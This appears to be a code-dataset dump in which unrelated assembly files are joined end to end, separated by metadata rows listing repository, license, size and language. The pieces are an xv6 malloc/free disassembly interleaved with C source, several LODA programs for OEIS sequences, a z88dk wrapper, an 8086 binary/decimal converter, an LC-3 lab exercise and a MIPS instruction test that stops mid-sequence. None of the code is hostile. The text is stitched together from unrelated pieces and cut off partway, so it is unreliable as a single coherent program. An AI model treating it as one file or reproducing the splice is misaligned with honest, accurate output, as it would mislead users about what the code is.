5b1: a1 48 07 00 00 mov 0x748,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
5b6: 89 e5 mov %esp,%ebp
5b8: 57 push %edi
5b9: 56 push %esi
5ba: 53 push %ebx
5bb: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
5be: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c1: 39 c8 cmp %ecx,%eax
5c3: 73 1d jae 5e2 <free+0x32>
5c5: 8d 76 00 lea 0x0(%esi),%esi
5c8: 8b 10 mov (%eax),%edx
5ca: 39 d1 cmp %edx,%ecx
5cc: 72 1a jb 5e8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ce: 39 d0 cmp %edx,%eax
5d0: 72 08 jb 5da <free+0x2a>
5d2: 39 c8 cmp %ecx,%eax
5d4: 72 12 jb 5e8 <free+0x38>
5d6: 39 d1 cmp %edx,%ecx
5d8: 72 0e jb 5e8 <free+0x38>
5da: 89 d0 mov %edx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5dc: 39 c8 cmp %ecx,%eax
5de: 66 90 xchg %ax,%ax
5e0: 72 e6 jb 5c8 <free+0x18>
5e2: 8b 10 mov (%eax),%edx
5e4: eb e8 jmp 5ce <free+0x1e>
5e6: 66 90 xchg %ax,%ax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
5e8: 8b 71 04 mov 0x4(%ecx),%esi
5eb: 8d 3c f1 lea (%ecx,%esi,8),%edi
5ee: 39 d7 cmp %edx,%edi
5f0: 74 19 je 60b <free+0x5b>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5f2: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5f5: 8b 50 04 mov 0x4(%eax),%edx
5f8: 8d 34 d0 lea (%eax,%edx,8),%esi
5fb: 39 ce cmp %ecx,%esi
5fd: 74 23 je 622 <free+0x72>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5ff: 89 08 mov %ecx,(%eax)
freep = p;
601: a3 48 07 00 00 mov %eax,0x748
}
606: 5b pop %ebx
607: 5e pop %esi
608: 5f pop %edi
609: 5d pop %ebp
60a: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
60b: 03 72 04 add 0x4(%edx),%esi
60e: 89 71 04 mov %esi,0x4(%ecx)
bp->s.ptr = p->s.ptr->s.ptr;
611: 8b 10 mov (%eax),%edx
613: 8b 12 mov (%edx),%edx
615: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
618: 8b 50 04 mov 0x4(%eax),%edx
61b: 8d 34 d0 lea (%eax,%edx,8),%esi
61e: 39 ce cmp %ecx,%esi
620: 75 dd jne 5ff <free+0x4f>
p->s.size += bp->s.size;
622: 03 51 04 add 0x4(%ecx),%edx
625: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
628: 8b 53 f8 mov -0x8(%ebx),%edx
62b: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
62d: a3 48 07 00 00 mov %eax,0x748
}
632: 5b pop %ebx
633: 5e pop %esi
634: 5f pop %edi
635: 5d pop %ebp
636: c3 ret
637: 89 f6 mov %esi,%esi
639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000640 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 57 push %edi
644: 56 push %esi
645: 53 push %ebx
646: 83 ec 2c sub $0x2c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
649: 8b 5d 08 mov 0x8(%ebp),%ebx
if((prevp = freep) == 0){
64c: 8b 0d 48 07 00 00 mov 0x748,%ecx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
652: 83 c3 07 add $0x7,%ebx
655: c1 eb 03 shr $0x3,%ebx
658: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
65b: 85 c9 test %ecx,%ecx
65d: 0f 84 9b 00 00 00 je 6fe <malloc+0xbe>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
663: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
665: 8b 50 04 mov 0x4(%eax),%edx
668: 39 d3 cmp %edx,%ebx
66a: 76 27 jbe 693 <malloc+0x53>
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
66c: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
673: be 00 80 00 00 mov $0x8000,%esi
678: 89 7d e4 mov %edi,-0x1c(%ebp)
67b: 90 nop
67c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
680: 3b 05 48 07 00 00 cmp 0x748,%eax
686: 74 30 je 6b8 <malloc+0x78>
688: 89 c1 mov %eax,%ecx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
68a: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
68c: 8b 50 04 mov 0x4(%eax),%edx
68f: 39 d3 cmp %edx,%ebx
691: 77 ed ja 680 <malloc+0x40>
if(p->s.size == nunits)
693: 39 d3 cmp %edx,%ebx
695: 74 61 je 6f8 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
697: 29 da sub %ebx,%edx
699: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
69c: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
69f: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
6a2: 89 0d 48 07 00 00 mov %ecx,0x748
return (void*)(p + 1);
6a8: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
6ab: 83 c4 2c add $0x2c,%esp
6ae: 5b pop %ebx
6af: 5e pop %esi
6b0: 5f pop %edi
6b1: 5d pop %ebp
6b2: c3 ret
6b3: 90 nop
6b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
6b8: 8b 45 e4 mov -0x1c(%ebp),%eax
6bb: 81 fb 00 10 00 00 cmp $0x1000,%ebx
6c1: bf 00 10 00 00 mov $0x1000,%edi
6c6: 0f 43 fb cmovae %ebx,%edi
6c9: 0f 42 c6 cmovb %esi,%eax
nu = 4096;
p = sbrk(nu * sizeof(Header));
6cc: 89 04 24 mov %eax,(%esp)
6cf: e8 09 fc ff ff call 2dd <sbrk>
if(p == (char*)-1)
6d4: 83 f8 ff cmp $0xffffffff,%eax
6d7: 74 18 je 6f1 <malloc+0xb1>
return 0;
hp = (Header*)p;
hp->s.size = nu;
6d9: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
6dc: 83 c0 08 add $0x8,%eax
6df: 89 04 24 mov %eax,(%esp)
6e2: e8 c9 fe ff ff call 5b0 <free>
return freep;
6e7: 8b 0d 48 07 00 00 mov 0x748,%ecx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
6ed: 85 c9 test %ecx,%ecx
6ef: 75 99 jne 68a <malloc+0x4a>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6f1: 31 c0 xor %eax,%eax
6f3: eb b6 jmp 6ab <malloc+0x6b>
6f5: 8d 76 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
6f8: 8b 10 mov (%eax),%edx
6fa: 89 11 mov %edx,(%ecx)
6fc: eb a4 jmp 6a2 <malloc+0x62>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
6fe: c7 05 48 07 00 00 40 movl $0x740,0x748
705: 07 00 00
base.s.size = 0;
708: b9 40 07 00 00 mov $0x740,%ecx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
70d: c7 05 40 07 00 00 40 movl $0x740,0x740
714: 07 00 00
base.s.size = 0;
717: c7 05 44 07 00 00 00 movl $0x0,0x744
71e: 00 00 00
721: e9 3d ff ff ff jmp 663 <malloc+0x23>
| 29.147276 | 60 | 0.414863 | [
"MIT-0"
] | willtran98/MIT_xv6 | zombie.asm | 43,342 | Assembly |
; A129343: a(2n) = a(n), a(2n+1) = 4n+1.
; 0,1,1,5,1,9,5,13,1,17,9,21,5,25,13,29,1,33,17,37,9,41,21,45,5,49,25,53,13,57,29,61,1,65,33,69,17,73,37,77,9,81,41,85,21,89,45,93,5,97,49,101,25,105,53,109,13,113,57,117,29,121,61,125,1,129,65,133,33,137
mul $0,2
mov $1,1
lpb $0
mov $1,$0
dif $0,2
lpe
sub $1,1
| 28 | 204 | 0.597403 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/129/A129343.asm | 308 | Assembly |
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas
;
; See "nirvana+.h" for further details
; ----------------------------------------------------------------
; void NIRVANAM_drawW(unsigned int tile, unsigned int lin, unsigned int col)
SECTION code_clib
SECTION code_nirvanam
PUBLIC NIRVANAM_drawW
EXTERN asm_NIRVANAM_drawW_di
NIRVANAM_drawW:
ld hl,2
add hl,sp
ld e,(hl) ; col
inc hl
inc hl
ld d,(hl) ; lin
inc hl
inc hl
ld a,(hl) ; tile
jp asm_NIRVANAM_drawW_di
| 20.965517 | 76 | 0.519737 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/arch/zx/nirvanam/c/sccz80/NIRVANAM_drawW.asm | 608 | Assembly |
SECTION "rom", ROM0
DS $8000
| 9.666667 | 19 | 0.689655 | [
"MIT"
] | AtariDreams/rgbds | test/link/rom0-tiny.asm | 29 | Assembly |
; A227438: Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having two adjacent 1's and two adjacent 0's.
; Submitted by Christian Krause
; 4,16,62,240,932,3620,14056,54576,211912,822832,3194960,12405648,48169664,187037120,726243040,2819915904,10949400256,42515227456,165081604736,640992365568,2488897617536,9664095367424,37524540428032,145703356682496,565748918078464,2196736201517056,8529667110006272,33119689545461760,128599841170936832,499337988252861440,1938870407942342656,7528404702289268736,29231905922789558272,113504036734233751552,440722763305091502080,1711274415288635854848,6644676354949762924544,25800493169052329000960
mov $1,3
lpb $0
sub $0,1
add $3,$1
add $2,$3
sub $3,$2
sub $3,1
sub $1,$3
mul $1,3
mul $3,2
lpe
add $2,$1
mov $0,$2
add $0,1
| 43.105263 | 495 | 0.80464 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/227/A227438.asm | 819 | Assembly |
;Program to Convert a Binary digit to Decimal and vice versa
printm macro mess
lea dx,mess
mov ah,09h
int 21h
endm
new_line macro
mov ah,02h
mov dl,0dh
int 21h
mov dl,0ah
int 21h
endm
dec_input macro
local input,skip
; output: bx
xor bx,bx
mov ah,01h
int 21h
;if \r
cmp al,0dh
je skip
input:
and ax,000fh
push ax
; bx=bx*10+ax
mov ax,10
mul bx
mov bx,ax
pop ax
add bx,ax
; take input
mov ah,01h
int 21h
cmp al,0dh
jne input
skip:
endm
dec_output macro
local start,repeat,display
start: ; jump label
mov ax, bx ; set ax=bx
xor cx, cx ; clear cx
mov bx, 10 ; set bx=10
repeat: ; loop label
xor dx, dx ; clear dx
div bx ; divide ax by bx
push dx ; push dx onto the stack
inc cx ; increment cx
or ax, ax ; take or of ax with ax
jne repeat ; jump to label repeat if zf=0
mov ah, 2 ; set output function
display: ; loop label
pop dx ; pop a value from stack to dx
or dl, 30h ; convert decimal to ascii code
int 21h ; print a character
loop display
endm
bin_input macro
local skip,input
; output: bx
xor bx,bx
mov ah,01h
int 21h
cmp al,0dh
je skip
input:
xor ah,ah
sub ax,'0'
shl bx,1
or bx,ax
; take input
mov ah,01h
int 21h
cmp al,0dh
jne input
skip:
endm
; macro to take binary output
bin_output macro
local output,display_loop
; input: bx
mov ah,02h
mov cx,0
output:
mov dx,bx
and dx,01h
add dx,'0'
push dx
inc cx
shr bx,1
jnz output
mov cx,cx
display_loop:
pop dx
int 21h
loop display_loop
endm
exitp macro
mov ah,4ch
int 21h
endm
.model small
.stack 100h
.data
inpmsg1 db "Binary number ? $"
inpmsg2 db "Decimal number ? $"
oupmsg1 db "Equivalent decimal number -> $"
oupmsg2 db "Equivalent binary number -> $"
.code
main proc
mov ax,@data
mov ds,ax
;binary to decimal
;input
printm inpmsg1
bin_input
;output
printm oupmsg1
dec_output
new_line
;decimal to binary
;input
printm inpmsg2
dec_input
;output
printm oupmsg2
bin_output
exitp
main endp
end main | 17.05036 | 62 | 0.582278 | [
"MIT"
] | neeladripal/bcse-lab | Systems Programming/Assignment 2/prog2.asm | 2,370 | Assembly |
; A276150 o=0: Sum of digits when n is written in primorial base (A049345); minimal number of primorials (A002110) that add to n.
; Coded manually 2021-02-26 by Antti Karttunen, https://github.com/karttu
;
; Note that this is equal to A001222(A276086(n)), although with that form
; we could compute this only up to n=2306 with signed 64-bit arithmetic. This implementation can go much higher.
;
mov $1,0 ;; Initialize the result-register, the result (which is a sum) is accumulated to this.
mov $2,1 ;; Last prime used so far, this one from the beginning of the 20th century (see A008578).
mov $3,1 ;; Current primorial.
mov $8,$0 ;; Main loop counter.
mov $9,1 ;; Main loop "decrement register" (for delayed falling out from the loop, yes, kludges!)
lpb $8,1 ;; Loop until n is zero, to compute A276086(n). Note that A235224(n) <= n for all n >= 0.
mov $5,$2 ;; Set search-limit for "find-next-prime loop" below, this should be enough by Bertrand's postulate
lpb $5,1 ;; (Bertrand is a great friend of all LODA-coders!). Start the inner loop.
add $2,1 ;; First increment the prime past previous
mov $6,$2 ;; And make temp. copy of it
gcd $6,$3 ;; Take the greatest common divisor with the primorial constructed so far
cmp $6,1 ;; $6 is now 1 if $2 was coprime to all previous primes, thus a new prime
cmp $6,0 ;; ... and now $6 is zero if a new prime was found, otherwise 1
sub $5,$6 ;; Thus we will fall out from loop if a new prime was found.
lpe
add $2,1 ;; Has to increment again, because the results of the last iteration of the inner loop were lost (is there a better way to do this?)
mov $4,$3 ;; Now compute the next primorial
mul $4,$2 ;; which is {the new prime found} * {the old primorial}.
mov $5,$0 ;; Get a temp copy of current n to mess
mod $5,$4 ;; Now $5 is {the primorial digit} * A002110({its position in primorial base expansion of n}).
sub $0,$5 ;; So we subtract, to remove it from the primorial base expansion of n.
div $5,$3 ;; And divide after it with that primorial, to get the primorial base digit itself at this point.
add $1,$5 ;; Add the digit to our result sum.
mov $3,$4 ;; current primorial = next primorial
;; Graceful fall out from the loop, after one delayed iteration (whose results will be lost, that's why):
sub $8,$9 ;; Subtract the loop counter now, before possibly updating $8
mov $7,$0 ;; Check whether $0 has reached zero?
cmp $7,0
sub $9,$7 ; If so, then set $9 from 1 to 0 (so that $8 will no more be decreased in the _next_ iteration, and the loop will terminate)
lpe
| 70.864865 | 146 | 0.687262 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/276/A276150.asm | 2,622 | Assembly |
; A341523: Number of prime factors (with multiplicity) shared by n and sigma(n): a(n) = bigomega(gcd(n, sigma(n))).
; 0,0,0,0,0,2,0,0,0,1,0,2,0,1,1,0,0,1,0,1,0,1,0,3,0,1,0,3,0,2,0,0,1,1,0,0,0,1,0,2,0,2,0,2,1,1,0,2,0,0,1,1,0,2,0,3,0,1,0,3,0,1,0,0,0,2,0,1,1,1,0,1,0,1,0,2,0,2,0,1,0,1,0,3,0,1,1,2,0,3,1,2,0,1,1,3,0,0,1,0
seq $0,9194 ; a(n) = gcd(n, sigma(n)).
sub $0,1
seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
| 68 | 201 | 0.605042 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/341/A341523.asm | 476 | Assembly |
; A189819: Partial sums of A189816.
; 0,1,2,2,2,2,2,2,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,12,12,13,14,14,15,16,16,16,16,16,16,16,16,17,18,18,18,18,18,18,18,18,19,20,20,20,20,20,20,20,20,21,22,22,22,22,22,22,22,22,23,24,24,24,24,24,24,24,24,25,26,26,26,26,26,26,26,26,27,28,28,28,28,28,28,28,28,29,30,30,31,32,32,33,34,34,35,36,36,37,38,38,39,40,40,41,42,42,42,42,42,42,42,42,43,44,44,45,46,46,47,48,48,49,50,50,51,52,52,53,54,54,55,56,56,56,56,56,56,56,56,57,58,58,59,60,60,61,62,62,63,64,64,65,66,66,67,68,68,69,70,70,70,70,70,70,70,70,71,72,72,73,74,74,75,76,76,77,78,78,79,80,80,81,82,82,83,84,84,84,84,84,84,84,84,85,86,86,87,88,88,89,90,90,91,92,92,93,94,94,95,96,96,97,98,98,98,98,98,98,98,98,99,100,100,101,102,102,103,104,104,105,106,106,107,108,108,109,110,110,111,112,112,112,112,112
mov $29,$0
add $29,1
lpb $29
clr $0,27
sub $29,1
sub $0,$29
cal $0,215879 ; Written in base 3, n ends in a(n) consecutive nonzero digits.
mul $0,2
mov $1,$0
pow $1,2
add $3,1
mul $3,2
pow $3,3
mod $1,$3
mul $1,2
div $1,6
add $28,$1
lpe
mov $1,$28
| 46.391304 | 754 | 0.639175 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/189/A189819.asm | 1,067 | Assembly |
;=================================================
; Name: Moya, Branden
; Username: [email protected]
;
; Lab: lab 5
; Lab section: 021
; TA: Bryan Marsh
;
;=================================================
.Orig x3000
;Instructions
AND R1,R1,#0
LD R1, POINTER
LD R2, COUNTER
LD R3, CHECKER
LD R4, COUNTER ;;2^n
LOOP_DE_LOOP
STR R4, R1, #0
ADD R2,R2,#1
ADD R1,R1,#1
ADD R4,R4,R4
ADD R0, R2, R3
BRn LOOP_DE_LOOP
; output
; for(i = 15 downto 0):
; if (bit[i] is a 0):
; print a 0
; else:
; print a 1
; shift left
LD R6, POINTER ; R6 <-- Address pointer for Convert
LD R4, COUNTER
LARGERLOOP
LEA R0, B
PUTS
AND R1, R1, #0
AND R2, R2, #0
LDR R1, R6, #0 ; R1 <-- VARIABLE Convert
LD R5, COUNTER2 ; R5 <---COUNTER
ADD R2, R2, #12 ; R2 <---COUNTER FOR SPACES
NOT R2, R2
ADD R2, R2, #1
JSR PRINT_IN_BINARY_3200
LEA R0, NEWLINE
PUTS
ADD R4, R4, #1
ADD R6, R6, #1
LD R0, CHECKER
ADD R0, R0, R4
BRn LARGERLOOP
FINISH
HALT
;Local data
POINTER .FILL x4000
COUNTER .FILL 1
CHECKER .FILL #-11
COUNTER2 .FILL #15
NEWLINE .STRINGZ "\n"
B .STRINGZ "b"
;===========
;subroutine:print in binary
;no return value
;just output
.Orig x3200
PRINT_IN_BINARY_3200
ST R7, STORE_R7
LOOP
ADD R1,R1,#0
BRn NEGATIVE
;POSITIVE
LEA R0, ZERO
PUTS
BR NEXT
;NEGATIVE
NEGATIVE
LEA R0, ONE
PUTS
NEXT
ADD R3, R2, R5
BRnp NEXT2
ADD R2,R2,#4
BRp NEXT2
LEA R0, SPACE
PUTS
NEXT2
ADD R1, R1, R1
ADD R5, R5, #-1
BRzp LOOP
LD R7, STORE_R7
RET
;SUBROUTINE DATA
STORE_R7 .FILL #0
ZERO .STRINGZ "0"
ONE .STRINGZ "1"
SPACE .STRINGZ " "
; Remote data
.ORIG x4000
ARRAY .BLKW #10
.END | 12.356589 | 57 | 0.617315 | [
"Apache-2.0"
] | bmoya217/ucr | cs61/lab5/lab05_ex1.asm | 1,594 | Assembly |
lui $1,19434
ori $1,$1,52351
lui $2,30183
ori $2,$2,59896
lui $3,19807
ori $3,$3,4024
lui $4,13766
ori $4,$4,52118
lui $5,8799
ori $5,$5,31074
lui $6,26965
ori $6,$6,11913
mthi $1
mtlo $2
sec0:
nop
nop
nop
subu $5,$6,$2
sec1:
nop
nop
nor $2,$6,$1
subu $3,$6,$2
sec2:
nop
nop
sltiu $2,$4,4681
subu $3,$6,$2
sec3:
nop
nop
mflo $2
subu $5,$6,$2
sec4:
nop
nop
lhu $2,12($0)
subu $5,$6,$2
sec5:
nop
nor $2,$4,$3
nop
subu $1,$6,$2
sec6:
nop
addu $2,$4,$4
or $2,$5,$4
subu $2,$6,$2
sec7:
nop
slt $2,$4,$1
andi $2,$3,5635
subu $3,$6,$2
sec8:
nop
slt $2,$2,$6
mflo $2
subu $4,$6,$2
sec9:
nop
or $2,$3,$3
lw $2,12($0)
subu $3,$6,$2
sec10:
nop
sltiu $2,$5,-25887
nop
subu $3,$6,$2
sec11:
nop
slti $2,$3,-28912
nor $2,$3,$5
subu $0,$6,$2
sec12:
nop
ori $2,$1,32618
addiu $2,$5,13640
subu $5,$6,$2
sec13:
nop
ori $2,$4,3658
mflo $2
subu $4,$6,$2
sec14:
nop
xori $2,$4,30642
lb $2,3($0)
subu $2,$6,$2
sec15:
nop
mflo $2
nop
subu $5,$6,$2
sec16:
nop
mfhi $2
and $2,$3,$5
subu $6,$6,$2
sec17:
nop
mfhi $2
xori $2,$1,17544
subu $3,$6,$2
sec18:
nop
mflo $2
mflo $2
subu $5,$6,$2
sec19:
nop
mfhi $2
lbu $2,5($0)
subu $1,$6,$2
sec20:
nop
lw $2,4($0)
nop
subu $4,$6,$2
sec21:
nop
lhu $2,4($0)
nor $2,$4,$2
subu $5,$6,$2
sec22:
nop
lb $2,7($0)
slti $2,$3,-29369
subu $3,$6,$2
sec23:
nop
lhu $2,14($0)
mfhi $2
subu $0,$6,$2
sec24:
nop
lhu $2,16($0)
lw $2,8($0)
subu $0,$6,$2
sec25:
xor $6,$5,$0
nop
nop
subu $2,$6,$2
sec26:
or $6,$3,$2
nop
or $2,$4,$4
subu $4,$6,$2
sec27:
sltu $6,$3,$1
nop
xori $2,$2,48944
subu $2,$6,$2
sec28:
slt $6,$3,$4
nop
mflo $2
subu $2,$6,$2
sec29:
and $6,$2,$4
nop
lbu $2,2($0)
subu $1,$6,$2
sec30:
nor $6,$3,$5
sltu $2,$2,$1
nop
subu $2,$6,$2
sec31:
subu $6,$2,$4
sltu $2,$3,$4
slt $2,$4,$1
subu $3,$6,$2
sec32:
xor $6,$4,$0
xor $2,$3,$4
xori $2,$2,13297
subu $5,$6,$2
sec33:
addu $6,$3,$5
subu $2,$3,$2
mflo $2
subu $2,$6,$2
sec34:
nor $6,$5,$4
sltu $2,$4,$2
lhu $2,0($0)
subu $1,$6,$2
sec35:
and $6,$3,$3
xori $2,$3,20453
nop
subu $1,$6,$2
sec36:
and $6,$5,$6
xori $2,$2,43793
and $2,$4,$1
subu $3,$6,$2
sec37:
or $6,$5,$3
slti $2,$3,12899
lui $2,8873
subu $0,$6,$2
sec38:
addu $6,$2,$3
andi $2,$1,8010
mflo $2
subu $1,$6,$2
sec39:
slt $6,$1,$4
sltiu $2,$2,-7278
lw $2,0($0)
subu $4,$6,$2
sec40:
xor $6,$3,$1
mflo $2
nop
subu $5,$6,$2
sec41:
subu $6,$5,$5
mflo $2
subu $2,$4,$5
subu $1,$6,$2
sec42:
slt $6,$2,$4
mfhi $2
lui $2,29840
subu $3,$6,$2
sec43:
or $6,$3,$3
mflo $2
mfhi $2
subu $3,$6,$2
sec44:
addu $6,$5,$3
mfhi $2
lbu $2,4($0)
subu $2,$6,$2
sec45:
sltu $6,$5,$3
lb $2,3($0)
nop
subu $3,$6,$2
sec46:
xor $6,$3,$2
lw $2,16($0)
nor $2,$4,$2
subu $4,$6,$2
sec47:
and $6,$4,$2
lbu $2,1($0)
ori $2,$2,23953
subu $5,$6,$2
sec48:
sltu $6,$3,$1
lbu $2,11($0)
mfhi $2
subu $1,$6,$2
sec49:
addu $6,$6,$4
lbu $2,0($0)
lhu $2,8($0)
subu $3,$6,$2
sec50:
sltiu $6,$3,-29872
nop
nop
subu $0,$6,$2
sec51:
lui $6,44946
nop
subu $2,$1,$3
subu $2,$6,$2
sec52:
xori $6,$4,62765
nop
xori $2,$2,8433
subu $2,$6,$2
sec53:
andi $6,$4,56860
nop
mfhi $2
subu $6,$6,$2
sec54:
slti $6,$6,-27963
nop
lbu $2,4($0)
subu $1,$6,$2
sec55:
sltiu $6,$2,17784
xor $2,$1,$1
nop
subu $4,$6,$2
sec56:
ori $6,$5,49415
and $2,$3,$1
slt $2,$1,$1
subu $4,$6,$2
sec57:
xori $6,$1,11014
xor $2,$5,$4
xori $2,$3,38322
subu $4,$6,$2
sec58:
andi $6,$0,7970
addu $2,$0,$6
mflo $2
subu $0,$6,$2
sec59:
addiu $6,$4,-26965
slt $2,$3,$3
lw $2,4($0)
subu $6,$6,$2
sec60:
sltiu $6,$0,10228
slti $2,$1,17653
nop
subu $6,$6,$2
sec61:
sltiu $6,$1,-2604
addiu $2,$0,27574
or $2,$5,$6
subu $4,$6,$2
sec62:
addiu $6,$2,-22398
xori $2,$3,18993
sltiu $2,$1,32403
subu $2,$6,$2
sec63:
addiu $6,$1,27814
ori $2,$4,30593
mfhi $2
subu $4,$6,$2
sec64:
ori $6,$1,64659
ori $2,$3,8712
lhu $2,0($0)
subu $3,$6,$2
sec65:
slti $6,$3,10907
mfhi $2
nop
subu $3,$6,$2
sec66:
addiu $6,$3,-415
mflo $2
and $2,$2,$3
subu $1,$6,$2
sec67:
lui $6,42680
mflo $2
sltiu $2,$4,12460
subu $3,$6,$2
sec68:
andi $6,$4,10684
mflo $2
mflo $2
subu $4,$6,$2
sec69:
xori $6,$3,48438
mfhi $2
lh $2,8($0)
subu $4,$6,$2
sec70:
slti $6,$3,-22379
lh $2,8($0)
nop
subu $4,$6,$2
sec71:
slti $6,$6,-13492
lbu $2,2($0)
slt $2,$1,$1
subu $0,$6,$2
sec72:
lui $6,65116
lhu $2,14($0)
addiu $2,$1,-20669
subu $0,$6,$2
sec73:
andi $6,$4,54351
lw $2,16($0)
mflo $2
subu $4,$6,$2
sec74:
slti $6,$3,-17497
lbu $2,10($0)
lhu $2,4($0)
subu $5,$6,$2
sec75:
mfhi $6
nop
nop
subu $4,$6,$2
sec76:
mflo $6
nop
and $2,$3,$4
subu $3,$6,$2
sec77:
mflo $6
nop
lui $2,45105
subu $3,$6,$2
sec78:
mflo $6
nop
mflo $2
subu $2,$6,$2
sec79:
mfhi $6
nop
lw $2,8($0)
subu $4,$6,$2
sec80:
mfhi $6
sltu $2,$3,$6
nop
subu $5,$6,$2
sec81:
mflo $6
or $2,$3,$5
addu $2,$2,$3
subu $3,$6,$2
sec82:
mflo $6
addu $2,$3,$4
ori $2,$2,55744
subu $3,$6,$2
sec83:
mfhi $6
subu $2,$4,$1
mflo $2
subu $4,$6,$2
sec84:
mflo $6
xor $2,$3,$4
lhu $2,6($0)
subu $3,$6,$2
sec85:
mflo $6
ori $2,$1,5665
nop
subu $5,$6,$2
sec86:
mflo $6
xori $2,$6,4326
nor $2,$0,$3
subu $1,$6,$2
sec87:
mflo $6
sltiu $2,$2,17659
addiu $2,$5,-9790
subu $3,$6,$2
sec88:
mflo $6
slti $2,$0,-23723
mfhi $2
subu $2,$6,$2
sec89:
mfhi $6
addiu $2,$2,-89
lb $2,6($0)
subu $6,$6,$2
sec90:
mfhi $6
mflo $2
nop
subu $3,$6,$2
sec91:
mfhi $6
mfhi $2
sltu $2,$1,$5
subu $0,$6,$2
sec92:
mfhi $6
mfhi $2
sltiu $2,$1,-8666
subu $3,$6,$2
sec93:
mfhi $6
mfhi $2
mfhi $2
subu $2,$6,$2
sec94:
mflo $6
mfhi $2
lh $2,6($0)
subu $3,$6,$2
sec95:
mflo $6
lb $2,3($0)
nop
subu $3,$6,$2
sec96:
mflo $6
lhu $2,2($0)
xor $2,$4,$1
subu $2,$6,$2
sec97:
mfhi $6
lh $2,16($0)
slti $2,$3,-4503
subu $4,$6,$2
sec98:
mfhi $6
lbu $2,8($0)
mfhi $2
subu $0,$6,$2
sec99:
mfhi $6
lhu $2,16($0)
lw $2,4($0)
subu $3,$6,$2
sec100:
lh $6,8($0)
nop
nop
subu $5,$6,$2
sec101:
lhu $6,16($0)
nop
addu $2,$2,$1
subu $3,$6,$2
sec102:
lh $6,6($0)
nop
slti $2,$5,-21713
subu $2,$6,$2
sec103:
lh $6,14($0)
nop
mflo $2
subu $5,$6,$2
sec104:
lw $6,12($0)
nop
lbu $2,4($0)
subu $4,$6,$2
sec105:
lh $6,14($0)
xor $2,$4,$5
nop
subu $2,$6,$2
sec106:
